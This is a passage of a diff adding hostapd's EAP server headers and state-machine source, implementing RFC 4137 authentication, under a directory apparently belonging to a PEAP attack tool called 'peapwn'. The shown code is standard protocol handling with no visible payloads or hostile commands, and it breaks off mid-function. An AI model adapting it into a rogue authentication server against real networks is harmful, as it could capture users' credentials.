RFC 4137. + */ +struct eap_method { + int vendor; + EapType method; + const char *name; + + void * (*init)(struct eap_sm *sm); + void * (*initPickUp)(struct eap_sm *sm); + void (*reset)(struct eap_sm *sm, void *priv); + + struct wpabuf * (*buildReq)(struct eap_sm *sm, void *priv, u8 id); + int (*getTimeout)(struct eap_sm *sm, void *priv); + Boolean (*check)(struct eap_sm *sm, void *priv, + struct wpabuf *respData); + void (*process)(struct eap_sm *sm, void *priv, + struct wpabuf *respData); + Boolean (*isDone)(struct eap_sm *sm, void *priv); + u8 * (*getKey)(struct eap_sm *sm, void *priv, size_t *len); + /* isSuccess is not specified in draft-ietf-eap-statemachine-05.txt, + * but it is useful in implementing Policy.getDecision() */ + Boolean (*isSuccess)(struct eap_sm *sm, void *priv); + + /** + * free - Free EAP method data + * @method: Pointer to the method data registered with + * eap_server_method_register(). + * + * This function will be called when the EAP method is being + * unregistered. If the EAP method allocated resources during + * registration (e.g., allocated struct eap_method), they should be + * freed in this function. No other method functions will be called + * after this call. If this function is not defined (i.e., function + * pointer is %NULL), a default handler is used to release the method + * data with free(method). This is suitable for most cases. + */ + void (*free)(struct eap_method *method); + +#define EAP_SERVER_METHOD_INTERFACE_VERSION 1 + /** + * version - Version of the EAP server method interface + * + * The EAP server method implementation should set this variable to + * EAP_SERVER_METHOD_INTERFACE_VERSION. This is used to verify that the + * EAP method is using supported API version when using dynamically + * loadable EAP methods. + */ + int version; + + /** + * next - Pointer to the next EAP method + * + * This variable is used internally in the EAP method registration code + * to create a linked list of registered EAP methods. + */ + struct eap_method *next; + + /** + * get_emsk - Get EAP method specific keying extended material (EMSK) + * @sm: Pointer to EAP state machine allocated with eap_sm_init() + * @priv: Pointer to private EAP method data from eap_method::init() + * @len: Pointer to a variable to store EMSK length + * Returns: EMSK or %NULL if not available + * + * This function can be used to get the extended keying material from + * the EAP method. The key may already be stored in the method-specific + * private data or this function may derive the key. + */ + u8 * (*get_emsk)(struct eap_sm *sm, void *priv, size_t *len); +}; + +/** + * struct eap_sm - EAP server state machine data + */ +struct eap_sm { + enum { + EAP_DISABLED, EAP_INITIALIZE, EAP_IDLE, EAP_RECEIVED, + EAP_INTEGRITY_CHECK, EAP_METHOD_RESPONSE, EAP_METHOD_REQUEST, + EAP_PROPOSE_METHOD, EAP_SELECT_ACTION, EAP_SEND_REQUEST, + EAP_DISCARD, EAP_NAK, EAP_RETRANSMIT, EAP_SUCCESS, EAP_FAILURE, + EAP_TIMEOUT_FAILURE, EAP_PICK_UP_METHOD, + EAP_INITIALIZE_PASSTHROUGH, EAP_IDLE2, EAP_RETRANSMIT2, + EAP_RECEIVED2, EAP_DISCARD2, EAP_SEND_REQUEST2, + EAP_AAA_REQUEST, EAP_AAA_RESPONSE, EAP_AAA_IDLE, + EAP_TIMEOUT_FAILURE2, EAP_FAILURE2, EAP_SUCCESS2 + } EAP_state; + + /* Constants */ + int MaxRetrans; + + struct eap_eapol_interface eap_if; + + /* Full authenticator state machine local variables */ + + /* Long-term (maintained between packets) */ + EapType currentMethod; + int currentId; + enum { + METHOD_PROPOSED, METHOD_CONTINUE, METHOD_END + } methodState; + int retransCount; + struct wpabuf *lastReqData; + int methodTimeout; + + /* Short-term (not maintained between packets) */ + Boolean rxResp; + int respId; + EapType respMethod; + int respVendor; + u32 respVendorMethod; + Boolean ignore; + enum { + DECISION_SUCCESS, DECISION_FAILURE, DECISION_CONTINUE, + DECISION_PASSTHROUGH + } decision; + + /* Miscellaneous variables */ + const struct eap_method *m; /* selected EAP method */ + /* not defined in RFC 4137 */ + Boolean changed; + void *eapol_ctx, *msg_ctx; + struct eapol_callbacks *eapol_cb; + void *eap_method_priv; + u8 *identity; + size_t identity_len; + /* Whether Phase 2 method should validate identity match */ + int require_identity_match; + int lastId; /* Identifier used in the last EAP-Packet */ + struct eap_user *user; + int user_eap_method_index; + int init_phase2; + void *ssl_ctx; + struct eap_sim_db_data *eap_sim_db_priv; + Boolean backend_auth; + Boolean update_user; + int eap_server; + + int num_rounds; + enum { + METHOD_PENDING_NONE, METHOD_PENDING_WAIT, METHOD_PENDING_CONT + } method_pending; + + u8 *auth_challenge; + u8 *peer_challenge; + + u8 *pac_opaque_encr_key; + u8 *eap_fast_a_id; + size_t eap_fast_a_id_len; + char *eap_fast_a_id_info; + enum { + NO_PROV, ANON_PROV, AUTH_PROV, BOTH_PROV + } eap_fast_prov; + int pac_key_lifetime; + int pac_key_refresh_time; + int eap_sim_aka_result_ind; + int tnc; + u16 pwd_group; + struct wps_context *wps; + struct wpabuf *assoc_wps_ie; + struct wpabuf *assoc_p2p_ie; + + Boolean start_reauth; + + u8 peer_addr[ETH_ALEN]; + + /* Fragmentation size for EAP method init() handler */ + int fragment_size; + + int pbc_in_m1; + + const u8 *server_id; + size_t server_id_len; +}; + +int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len, + int phase2); +void eap_sm_process_nak(struct eap_sm *sm, const u8 *nak_list, size_t len); + +#endif /* EAP_I_H */ diff --git a/peapwn/mods/hostap/src/eap_server/eap_methods.h b/peapwn/mods/hostap/src/eap_server/eap_methods.h new file mode 100644 index 000000000..429cb72b2 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_methods.h @@ -0,0 +1,50 @@ +/* + * EAP server method registration + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_SERVER_METHODS_H +#define EAP_SERVER_METHODS_H + +#include "eap_common/eap_defs.h" + +const struct eap_method * eap_server_get_eap_method(int vendor, + EapType method); +struct eap_method * eap_server_method_alloc(int version, int vendor, + EapType method, const char *name); +void eap_server_method_free(struct eap_method *method); +int eap_server_method_register(struct eap_method *method); + +EapType eap_server_get_type(const char *name, int *vendor); +void eap_server_unregister_methods(void); +const char * eap_server_get_name(int vendor, EapType type); + +/* EAP server method registration calls for statically linked in methods */ +int eap_server_identity_register(void); +int eap_server_md5_register(void); +int eap_server_tls_register(void); +int eap_server_unauth_tls_register(void); +int eap_server_mschapv2_register(void); +int eap_server_peap_register(void); +int eap_server_tlv_register(void); +int eap_server_gtc_register(void); +int eap_server_ttls_register(void); +int eap_server_sim_register(void); +int eap_server_aka_register(void); +int eap_server_aka_prime_register(void); +int eap_server_pax_register(void); +int eap_server_psk_register(void); +int eap_server_sake_register(void); +int eap_server_gpsk_register(void); +int eap_server_vendor_test_register(void); +int eap_server_fast_register(void); +int eap_server_wsc_register(void); +int eap_server_ikev2_register(void); +int eap_server_tnc_register(void); +int eap_server_pwd_register(void); +int eap_server_eke_register(void); + +#endif /* EAP_SERVER_METHODS_H */ diff --git a/peapwn/mods/hostap/src/eap_server/eap_server.c b/peapwn/mods/hostap/src/eap_server/eap_server.c new file mode 100644 index 000000000..233e2726e --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server.c @@ -0,0 +1,1419 @@ +/* + * hostapd / EAP Full Authenticator state machine (RFC 4137) + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This state machine is based on the full authenticator state machine defined + * in RFC 4137. However, to support backend authentication in RADIUS + * authentication server functionality, parts of backend authenticator (also + * from RFC 4137) are mixed in. This functionality is enabled by setting + * backend_auth configuration variable to TRUE. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#include "state_machine.h" +#include "common/wpa_ctrl.h" + +#define STATE_MACHINE_DATA struct eap_sm +#define STATE_MACHINE_DEBUG_PREFIX "EAP" + +#define EAP_MAX_AUTH_ROUNDS 50 + +static void eap_user_free(struct eap_user *user); + + +/* EAP state machines are described in RFC 4137 */ + +static int eap_sm_calculateTimeout(struct eap_sm *sm, int retransCount, + int eapSRTT, int eapRTTVAR, + int methodTimeout); +static void eap_sm_parseEapResp(struct eap_sm *sm, const struct wpabuf *resp); +static int eap_sm_getId(const struct wpabuf *data); +static struct wpabuf * eap_sm_buildSuccess(struct eap_sm *sm, u8 id); +static struct wpabuf * eap_sm_buildFailure(struct eap_sm *sm, u8 id); +static int eap_sm_nextId(struct eap_sm *sm, int id); +static void eap_sm_Policy_update(struct eap_sm *sm, const u8 *nak_list, + size_t len); +static EapType eap_sm_Policy_getNextMethod(struct eap_sm *sm, int *vendor); +static int eap_sm_Policy_getDecision(struct eap_sm *sm); +static Boolean eap_sm_Policy_doPickUp(struct eap_sm *sm, EapType method); + + +static int eap_copy_buf(struct wpabuf **dst, const struct wpabuf *src) +{ + if (src == NULL) + return -1; + + wpabuf_free(*dst); + *dst = wpabuf_dup(src); + return *dst ? 0 : -1; +} + + +static int eap_copy_data(u8 **dst, size_t *dst_len, + const u8 *src, size_t src_len) +{ + if (src == NULL) + return -1; + + os_free(*dst); + *dst = os_malloc(src_len); + if (*dst) { + os_memcpy(*dst, src, src_len); + *dst_len = src_len; + return 0; + } else { + *dst_len = 0; + return -1; + } +} + +#define EAP_COPY(dst, src) \ + eap_copy_data((dst), (dst ## Len), (src), (src ## Len)) + + +/** + * eap_user_get - Fetch user information from the database + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * @identity: Identity (User-Name) of the user + * @identity_len: Length of identity in bytes + * @phase2: 0 = EAP phase1 user, 1 = EAP phase2 (tunneled) user + * Returns: 0 on success, or -1 on failure + * + * This function is used to fetch user information for EAP. The user will be + * selected based on the specified identity. sm->user and + * sm->user_eap_method_index are updated for the new user when a matching user + * is found. sm->user can be used to get user information (e.g., password). + */ +int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len, + int phase2) +{ + struct eap_user *user; + + if (sm == NULL || sm->eapol_cb == NULL || + sm->eapol_cb->get_eap_user == NULL) + return -1; + + eap_user_free(sm->user); + sm->user = NULL; + + user = os_zalloc(sizeof(*user)); + if (user == NULL) + return -1; + + if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, + identity_len, phase2, user) != 0) { + eap_user_free(user); + return -1; + } + + sm->user = user; + sm->user_eap_method_index = 0; + + return 0; +} + + +SM_STATE(EAP, DISABLED) +{ + SM_ENTRY(EAP, DISABLED); + sm->num_rounds = 0; +} + + +SM_STATE(EAP, INITIALIZE) +{ + SM_ENTRY(EAP, INITIALIZE); + + if (sm->eap_if.eapRestart && !sm->eap_server && sm->identity) { + /* + * Need to allow internal Identity method to be used instead + * of passthrough at the beginning of reauthentication. + */ + eap_server_clear_identity(sm); + } + + sm->currentId = -1; + sm->eap_if.eapSuccess = FALSE; + sm->eap_if.eapFail = FALSE; + sm->eap_if.eapTimeout = FALSE; + os_free(sm->eap_if.eapKeyData); + sm->eap_if.eapKeyData = NULL; + sm->eap_if.eapKeyDataLen = 0; + sm->eap_if.eapKeyAvailable = FALSE; + sm->eap_if.eapRestart = FALSE; + + /* + * This is not defined in RFC 4137, but method state needs to be + * reseted here so that it does not remain in success state when + * re-authentication starts. + */ + if (sm->m && sm->eap_method_priv) { + sm->m->reset(sm, sm->eap_method_priv); + sm->eap_method_priv = NULL; + } + sm->m = NULL; + sm->user_eap_method_index = 0; + + if (sm->backend_auth) { + sm->currentMethod = EAP_TYPE_NONE; + /* parse rxResp, respId, respMethod */ + eap_sm_parseEapResp(sm, sm->eap_if.eapRespData); + if (sm->rxResp) { + sm->currentId = sm->respId; + } + } + sm->num_rounds = 0; + sm->method_pending = METHOD_PENDING_NONE; + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_STARTED + MACSTR, MAC2STR(sm->peer_addr)); +} + + +SM_STATE(EAP, PICK_UP_METHOD) +{ + SM_ENTRY(EAP, PICK_UP_METHOD); + + if (eap_sm_Policy_doPickUp(sm, sm->respMethod)) { + sm->currentMethod = sm->respMethod; + if (sm->m && sm->eap_method_priv) { + sm->m->reset(sm, sm->eap_method_priv); + sm->eap_method_priv = NULL; + } + sm->m = eap_server_get_eap_method(EAP_VENDOR_IETF, + sm->currentMethod); + if (sm->m && sm->m->initPickUp) { + sm->eap_method_priv = sm->m->initPickUp(sm); + if (sm->eap_method_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP: Failed to " + "initialize EAP method %d", + sm->currentMethod); + sm->m = NULL; + sm->currentMethod = EAP_TYPE_NONE; + } + } else { + sm->m = NULL; + sm->currentMethod = EAP_TYPE_NONE; + } + } + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_PROPOSED_METHOD + "method=%u", sm->currentMethod); +} + + +SM_STATE(EAP, IDLE) +{ + SM_ENTRY(EAP, IDLE); + + sm->eap_if.retransWhile = eap_sm_calculateTimeout( + sm, sm->retransCount, sm->eap_if.eapSRTT, sm->eap_if.eapRTTVAR, + sm->methodTimeout); +} + + +SM_STATE(EAP, RETRANSMIT) +{ + SM_ENTRY(EAP, RETRANSMIT); + + sm->retransCount++; + if (sm->retransCount <= sm->MaxRetrans && sm->lastReqData) { + if (eap_copy_buf(&sm->eap_if.eapReqData, sm->lastReqData) == 0) + sm->eap_if.eapReq = TRUE; + } +} + + +SM_STATE(EAP, RECEIVED) +{ + SM_ENTRY(EAP, RECEIVED); + + /* parse rxResp, respId, respMethod */ + eap_sm_parseEapResp(sm, sm->eap_if.eapRespData); + sm->num_rounds++; +} + + +SM_STATE(EAP, DISCARD) +{ + SM_ENTRY(EAP, DISCARD); + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapNoReq = TRUE; +} + + +SM_STATE(EAP, SEND_REQUEST) +{ + SM_ENTRY(EAP, SEND_REQUEST); + + sm->retransCount = 0; + if (sm->eap_if.eapReqData) { + if (eap_copy_buf(&sm->lastReqData, sm->eap_if.eapReqData) == 0) + { + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapReq = TRUE; + } else { + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapReq = FALSE; + } + } else { + wpa_printf(MSG_INFO, "EAP: SEND_REQUEST - no eapReqData"); + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapReq = FALSE; + sm->eap_if.eapNoReq = TRUE; + } +} + + +SM_STATE(EAP, INTEGRITY_CHECK) +{ + SM_ENTRY(EAP, INTEGRITY_CHECK); + + if (!eap_hdr_len_valid(sm->eap_if.eapRespData, 1)) { + sm->ignore = TRUE; + return; + } + + if (sm->m->check) { + sm->ignore = sm->m->check(sm, sm->eap_method_priv, + sm->eap_if.eapRespData); + } +} + + +SM_STATE(EAP, METHOD_REQUEST) +{ + SM_ENTRY(EAP, METHOD_REQUEST); + + if (sm->m == NULL) { + wpa_printf(MSG_DEBUG, "EAP: method not initialized"); + return; + } + + sm->currentId = eap_sm_nextId(sm, sm->currentId); + wpa_printf(MSG_DEBUG, "EAP: building EAP-Request: Identifier %d", + sm->currentId); + sm->lastId = sm->currentId; + wpabuf_free(sm->eap_if.eapReqData); + sm->eap_if.eapReqData = sm->m->buildReq(sm, sm->eap_method_priv, + sm->currentId); + if (sm->m->getTimeout) + sm->methodTimeout = sm->m->getTimeout(sm, sm->eap_method_priv); + else + sm->methodTimeout = 0; +} + + +SM_STATE(EAP, METHOD_RESPONSE) +{ + SM_ENTRY(EAP, METHOD_RESPONSE); + + if (!eap_hdr_len_valid(sm->eap_if.eapRespData, 1)) + return; + + sm->m->process(sm, sm->eap_method_priv, sm->eap_if.eapRespData); + if (sm->m->isDone(sm, sm->eap_method_priv)) { + eap_sm_Policy_update(sm, NULL, 0); + os_free(sm->eap_if.eapKeyData); + if (sm->m->getKey) { + sm->eap_if.eapKeyData = sm->m->getKey( + sm, sm->eap_method_priv, + &sm->eap_if.eapKeyDataLen); + } else { + sm->eap_if.eapKeyData = NULL; + sm->eap_if.eapKeyDataLen = 0; + } + sm->methodState = METHOD_END; + } else { + sm->methodState = METHOD_CONTINUE; + } +} + + +SM_STATE(EAP, PROPOSE_METHOD) +{ + int vendor; + EapType type; + + SM_ENTRY(EAP, PROPOSE_METHOD); + +try_another_method: + type = eap_sm_Policy_getNextMethod(sm, &vendor); + if (vendor == EAP_VENDOR_IETF) + sm->currentMethod = type; + else + sm->currentMethod = EAP_TYPE_EXPANDED; + if (sm->m && sm->eap_method_priv) { + sm->m->reset(sm, sm->eap_method_priv); + sm->eap_method_priv = NULL; + } + sm->m = eap_server_get_eap_method(vendor, type); + if (sm->m) { + sm->eap_method_priv = sm->m->init(sm); + if (sm->eap_method_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP: Failed to initialize EAP " + "method %d", sm->currentMethod); + sm->m = NULL; + sm->currentMethod = EAP_TYPE_NONE; + goto try_another_method; + } + } + if (sm->m == NULL) { + wpa_printf(MSG_DEBUG, "EAP: Could not find suitable EAP method"); + sm->decision = DECISION_FAILURE; + return; + } + if (sm->currentMethod == EAP_TYPE_IDENTITY || + sm->currentMethod == EAP_TYPE_NOTIFICATION) + sm->methodState = METHOD_CONTINUE; + else + sm->methodState = METHOD_PROPOSED; + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_PROPOSED_METHOD + "vendor=%u method=%u", vendor, sm->currentMethod); +} + + +SM_STATE(EAP, NAK) +{ + const struct eap_hdr *nak; + size_t len = 0; + const u8 *pos; + const u8 *nak_list = NULL; + + SM_ENTRY(EAP, NAK); + + if (sm->eap_method_priv) { + sm->m->reset(sm, sm->eap_method_priv); + sm->eap_method_priv = NULL; + } + sm->m = NULL; + + if (!eap_hdr_len_valid(sm->eap_if.eapRespData, 1)) + return; + + nak = wpabuf_head(sm->eap_if.eapRespData); + if (nak && wpabuf_len(sm->eap_if.eapRespData) > sizeof(*nak)) { + len = be_to_host16(nak->length); + if (len > wpabuf_len(sm->eap_if.eapRespData)) + len = wpabuf_len(sm->eap_if.eapRespData); + pos = (const u8 *) (nak + 1); + len -= sizeof(*nak); + if (*pos == EAP_TYPE_NAK) { + pos++; + len--; + nak_list = pos; + } + } + eap_sm_Policy_update(sm, nak_list, len); +} + + +SM_STATE(EAP, SELECT_ACTION) +{ + SM_ENTRY(EAP, SELECT_ACTION); + + sm->decision = eap_sm_Policy_getDecision(sm); +} + + +SM_STATE(EAP, TIMEOUT_FAILURE) +{ + SM_ENTRY(EAP, TIMEOUT_FAILURE); + + sm->eap_if.eapTimeout = TRUE; +} + + +SM_STATE(EAP, FAILURE) +{ + SM_ENTRY(EAP, FAILURE); + + wpabuf_free(sm->eap_if.eapReqData); + sm->eap_if.eapReqData = eap_sm_buildFailure(sm, sm->currentId); + wpabuf_free(sm->lastReqData); + sm->lastReqData = NULL; + sm->eap_if.eapFail = TRUE; + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_FAILURE + MACSTR, MAC2STR(sm->peer_addr)); +} + + +SM_STATE(EAP, SUCCESS) +{ + SM_ENTRY(EAP, SUCCESS); + + wpabuf_free(sm->eap_if.eapReqData); + sm->eap_if.eapReqData = eap_sm_buildSuccess(sm, sm->currentId); + wpabuf_free(sm->lastReqData); + sm->lastReqData = NULL; + if (sm->eap_if.eapKeyData) + sm->eap_if.eapKeyAvailable = TRUE; + sm->eap_if.eapSuccess = TRUE; + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_SUCCESS + MACSTR, MAC2STR(sm->peer_addr)); +} + + +SM_STATE(EAP, INITIALIZE_PASSTHROUGH) +{ + SM_ENTRY(EAP, INITIALIZE_PASSTHROUGH); + + wpabuf_free(sm->eap_if.aaaEapRespData); + sm->eap_if.aaaEapRespData = NULL; +} + + +SM_STATE(EAP, IDLE2) +{ + SM_ENTRY(EAP, IDLE2); + + sm->eap_if.retransWhile = eap_sm_calculateTimeout( + sm, sm->retransCount, sm->eap_if.eapSRTT, sm->eap_if.eapRTTVAR, + sm->methodTimeout); +} + + +SM_STATE(EAP, RETRANSMIT2) +{ + SM_ENTRY(EAP, RETRANSMIT2); + + sm->retransCount++; + if (sm->retransCount <= sm->MaxRetrans && sm->lastReqData) { + if (eap_copy_buf(&sm->eap_if.eapReqData, sm->lastReqData) == 0) + sm->eap_if.eapReq = TRUE; + } +} + + +SM_STATE(EAP, RECEIVED2) +{ + SM_ENTRY(EAP, RECEIVED2); + + /* parse rxResp, respId, respMethod */ + eap_sm_parseEapResp(sm, sm->eap_if.eapRespData); +} + + +SM_STATE(EAP, DISCARD2) +{ + SM_ENTRY(EAP, DISCARD2); + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapNoReq = TRUE; +} + + +SM_STATE(EAP, SEND_REQUEST2) +{ + SM_ENTRY(EAP, SEND_REQUEST2); + + sm->retransCount = 0; + if (sm->eap_if.eapReqData) { + if (eap_copy_buf(&sm->lastReqData, sm->eap_if.eapReqData) == 0) + { + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapReq = TRUE; + } else { + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapReq = FALSE; + } + } else { + wpa_printf(MSG_INFO, "EAP: SEND_REQUEST2 - no eapReqData"); + sm->eap_if.eapResp = FALSE; + sm->eap_if.eapReq = FALSE; + sm->eap_if.eapNoReq = TRUE; + } +} + + +SM_STATE(EAP, AAA_REQUEST) +{ + SM_ENTRY(EAP, AAA_REQUEST); + + if (sm->eap_if.eapRespData == NULL) { + wpa_printf(MSG_INFO, "EAP: AAA_REQUEST - no eapRespData"); + return; + } + + /* + * if (respMethod == IDENTITY) + * aaaIdentity = eapRespData + * This is already taken care of by the EAP-Identity method which + * stores the identity into sm->identity. + */ + + eap_copy_buf(&sm->eap_if.aaaEapRespData, sm->eap_if.eapRespData); +} + + +SM_STATE(EAP, AAA_RESPONSE) +{ + SM_ENTRY(EAP, AAA_RESPONSE); + + eap_copy_buf(&sm->eap_if.eapReqData, sm->eap_if.aaaEapReqData); + sm->currentId = eap_sm_getId(sm->eap_if.eapReqData); + sm->methodTimeout = sm->eap_if.aaaMethodTimeout; +} + + +SM_STATE(EAP, AAA_IDLE) +{ + SM_ENTRY(EAP, AAA_IDLE); + + sm->eap_if.aaaFail = FALSE; + sm->eap_if.aaaSuccess = FALSE; + sm->eap_if.aaaEapReq = FALSE; + sm->eap_if.aaaEapNoReq = FALSE; + sm->eap_if.aaaEapResp = TRUE; +} + + +SM_STATE(EAP, TIMEOUT_FAILURE2) +{ + SM_ENTRY(EAP, TIMEOUT_FAILURE2); + + sm->eap_if.eapTimeout = TRUE; +} + + +SM_STATE(EAP, FAILURE2) +{ + SM_ENTRY(EAP, FAILURE2); + + eap_copy_buf(&sm->eap_if.eapReqData, sm->eap_if.aaaEapReqData); + sm->eap_if.eapFail = TRUE; +} + + +SM_STATE(EAP, SUCCESS2) +{ + SM_ENTRY(EAP, SUCCESS2); + + eap_copy_buf(&sm->eap_if.eapReqData, sm->eap_if.aaaEapReqData); + + sm->eap_if.eapKeyAvailable = sm->eap_if.aaaEapKeyAvailable; + if (sm->eap_if.aaaEapKeyAvailable) { + EAP_COPY(&sm->eap_if.eapKeyData, sm->eap_if.aaaEapKeyData); + } else { + os_free(sm->eap_if.eapKeyData); + sm->eap_if.eapKeyData = NULL; + sm->eap_if.eapKeyDataLen = 0; + } + + sm->eap_if.eapSuccess = TRUE; + + /* + * Start reauthentication with identity request even though we know the + * previously used identity. This is needed to get reauthentication + * started properly. + */ + sm->start_reauth = TRUE; +} + + +SM_STEP(EAP) +{ + if (sm->eap_if.eapRestart && sm->eap_if.portEnabled) + SM_ENTER_GLOBAL(EAP, INITIALIZE); + else if (!sm->eap_if.portEnabled) + SM_ENTER_GLOBAL(EAP, DISABLED); + else if (sm->num_rounds > EAP_MAX_AUTH_ROUNDS) { + if (sm->num_rounds == EAP_MAX_AUTH_ROUNDS + 1) { + wpa_printf(MSG_DEBUG, "EAP: more than %d " + "authentication rounds - abort", + EAP_MAX_AUTH_ROUNDS); + sm->num_rounds++; + SM_ENTER_GLOBAL(EAP, FAILURE); + } + } else switch (sm->EAP_state) { + case EAP_INITIALIZE: + if (sm->backend_auth) { + if (!sm->rxResp) + SM_ENTER(EAP, SELECT_ACTION); + else if (sm->rxResp && + (sm->respMethod == EAP_TYPE_NAK || + (sm->respMethod == EAP_TYPE_EXPANDED && + sm->respVendor == EAP_VENDOR_IETF && + sm->respVendorMethod == EAP_TYPE_NAK))) + SM_ENTER(EAP, NAK); + else + SM_ENTER(EAP, PICK_UP_METHOD); + } else { + SM_ENTER(EAP, SELECT_ACTION); + } + break; + case EAP_PICK_UP_METHOD: + if (sm->currentMethod == EAP_TYPE_NONE) { + SM_ENTER(EAP, SELECT_ACTION); + } else { + SM_ENTER(EAP, METHOD_RESPONSE); + } + break; + case EAP_DISABLED: + if (sm->eap_if.portEnabled) + SM_ENTER(EAP, INITIALIZE); + break; + case EAP_IDLE: + if (sm->eap_if.retransWhile == 0) + SM_ENTER(EAP, RETRANSMIT); + else if (sm->eap_if.eapResp) + SM_ENTER(EAP, RECEIVED); + break; + case EAP_RETRANSMIT: + if (sm->retransCount > sm->MaxRetrans) + SM_ENTER(EAP, TIMEOUT_FAILURE); + else + SM_ENTER(EAP, IDLE); + break; + case EAP_RECEIVED: + if (sm->rxResp && (sm->respId == sm->currentId) && + (sm->respMethod == EAP_TYPE_NAK || + (sm->respMethod == EAP_TYPE_EXPANDED && + sm->respVendor == EAP_VENDOR_IETF && + sm->respVendorMethod == EAP_TYPE_NAK)) + && (sm->methodState == METHOD_PROPOSED)) + SM_ENTER(EAP, NAK); + else if (sm->rxResp && (sm->respId == sm->currentId) && + ((sm->respMethod == sm->currentMethod) || + (sm->respMethod == EAP_TYPE_EXPANDED && + sm->respVendor == EAP_VENDOR_IETF && + sm->respVendorMethod == sm->currentMethod))) + SM_ENTER(EAP, INTEGRITY_CHECK); + else { + wpa_printf(MSG_DEBUG, "EAP: RECEIVED->DISCARD: " + "rxResp=%d respId=%d currentId=%d " + "respMethod=%d currentMethod=%d", + sm->rxResp, sm->respId, sm->currentId, + sm->respMethod, sm->currentMethod); + SM_ENTER(EAP, DISCARD); + } + break; + case EAP_DISCARD: + SM_ENTER(EAP, IDLE); + break; + case EAP_SEND_REQUEST: + SM_ENTER(EAP, IDLE); + break; + case EAP_INTEGRITY_CHECK: + if (sm->ignore) + SM_ENTER(EAP, DISCARD); + else + SM_ENTER(EAP, METHOD_RESPONSE); + break; + case EAP_METHOD_REQUEST: + if (sm->m == NULL) { + /* + * This transition is not mentioned in RFC 4137, but it + * is needed to handle cleanly a case where EAP method + * initialization fails. + */ + SM_ENTER(EAP, FAILURE); + break; + } + SM_ENTER(EAP, SEND_REQUEST); + break; + case EAP_METHOD_RESPONSE: + /* + * Note: Mechanism to allow EAP methods to wait while going + * through pending processing is an extension to RFC 4137 + * which only defines the transits to SELECT_ACTION and + * METHOD_REQUEST from this METHOD_RESPONSE state. + */ + if (sm->methodState == METHOD_END) + SM_ENTER(EAP, SELECT_ACTION); + else if (sm->method_pending == METHOD_PENDING_WAIT) { + wpa_printf(MSG_DEBUG, "EAP: Method has pending " + "processing - wait before proceeding to " + "METHOD_REQUEST state"); + } else if (sm->method_pending == METHOD_PENDING_CONT) { + wpa_printf(MSG_DEBUG, "EAP: Method has completed " + "pending processing - reprocess pending " + "EAP message"); + sm->method_pending = METHOD_PENDING_NONE; + SM_ENTER(EAP, METHOD_RESPONSE); + } else + SM_ENTER(EAP, METHOD_REQUEST); + break; + case EAP_PROPOSE_METHOD: + /* + * Note: Mechanism to allow EAP methods to wait while going + * through pending processing is an extension to RFC 4137 + * which only defines the transit to METHOD_REQUEST from this + * PROPOSE_METHOD state. + */ + if (sm->method_pending == METHOD_PENDING_WAIT) { + wpa_printf(MSG_DEBUG, "EAP: Method has pending " + "processing - wait before proceeding to " + "METHOD_REQUEST state"); + if (sm->user_eap_method_index > 0) + sm->user_eap_method_index--; + } else if (sm->method_pending == METHOD_PENDING_CONT) { + wpa_printf(MSG_DEBUG, "EAP: Method has completed " + "pending processing - reprocess pending " + "EAP message"); + sm->method_pending = METHOD_PENDING_NONE; + SM_ENTER(EAP, PROPOSE_METHOD); + } else + SM_ENTER(EAP, METHOD_REQUEST); + break; + case EAP_NAK: + SM_ENTER(EAP, SELECT_ACTION); + break; + case EAP_SELECT_ACTION: + if (sm->decision == DECISION_FAILURE) + SM_ENTER(EAP, FAILURE); + else if (sm->decision == DECISION_SUCCESS) + SM_ENTER(EAP, SUCCESS); + else if (sm->decision == DECISION_PASSTHROUGH) + SM_ENTER(EAP, INITIALIZE_PASSTHROUGH); + else + SM_ENTER(EAP, PROPOSE_METHOD); + break; + case EAP_TIMEOUT_FAILURE: + break; + case EAP_FAILURE: + break; + case EAP_SUCCESS: + break; + + case EAP_INITIALIZE_PASSTHROUGH: + if (sm->currentId == -1) + SM_ENTER(EAP, AAA_IDLE); + else + SM_ENTER(EAP, AAA_REQUEST); + break; + case EAP_IDLE2: + if (sm->eap_if.eapResp) + SM_ENTER(EAP, RECEIVED2); + else if (sm->eap_if.retransWhile == 0) + SM_ENTER(EAP, RETRANSMIT2); + break; + case EAP_RETRANSMIT2: + if (sm->retransCount > sm->MaxRetrans) + SM_ENTER(EAP, TIMEOUT_FAILURE2); + else + SM_ENTER(EAP, IDLE2); + break; + case EAP_RECEIVED2: + if (sm->rxResp && (sm->respId == sm->currentId)) + SM_ENTER(EAP, AAA_REQUEST); + else + SM_ENTER(EAP, DISCARD2); + break; + case EAP_DISCARD2: + SM_ENTER(EAP, IDLE2); + break; + case EAP_SEND_REQUEST2: + SM_ENTER(EAP, IDLE2); + break; + case EAP_AAA_REQUEST: + SM_ENTER(EAP, AAA_IDLE); + break; + case EAP_AAA_RESPONSE: + SM_ENTER(EAP, SEND_REQUEST2); + break; + case EAP_AAA_IDLE: + if (sm->eap_if.aaaFail) + SM_ENTER(EAP, FAILURE2); + else if (sm->eap_if.aaaSuccess) + SM_ENTER(EAP, SUCCESS2); + else if (sm->eap_if.aaaEapReq) + SM_ENTER(EAP, AAA_RESPONSE); 